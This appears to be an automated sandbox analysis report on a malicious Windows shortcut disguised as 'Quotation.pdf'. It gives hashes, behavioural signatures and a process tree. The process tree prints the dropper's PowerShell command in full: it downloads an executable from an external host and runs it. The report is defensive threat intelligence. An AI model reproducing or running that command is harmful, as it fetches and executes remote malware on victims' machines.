9a97525c9e38f212f2d0a25c22466ae0001533c1af582c111544db9df3fd8001

Analysis

max time kernel
29s
max time network
32s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
21-02-2023 09:10

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General

Target

Quotation.pdf.lnk
Size

1006B
MD5

aa8836fa3879074748f6dca63476aba9
SHA1

783e61d2d41d5450560bb7adb3c7a641c0e8507d
SHA256

9a97525c9e38f212f2d0a25c22466ae0001533c1af582c111544db9df3fd8001
SHA512

1f7c496b8131a6f1282705be852fb91b0af693a5501f0ed934d0986969f5c165665e7d2bfe7d55947457d4c7dfb06727028fa51a7337633cfb504afb1f326017

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1496 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1496 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1496 powershell.exe

pid	process
1496	powershell.exe

pid	process
1496	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1496	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1696 wrote to memory of 1496	1696	cmd.exe	powershell.exe
PID 1696 wrote to memory of 1496	1696	cmd.exe	powershell.exe
PID 1696 wrote to memory of 1496	1696	cmd.exe	powershell.exe
PID 1696 wrote to memory of 1496	1696	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Quotation.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest -Uri 'https://silverline.com.sg/new/Dvicvwxfouxvgm.exe' -OutFile $env:temp\file.exe; start $env:temp\file.exe
2⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1496

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1496-92-0x0000000002300000-0x0000000002340000-memory.dmp

Filesize
256KB

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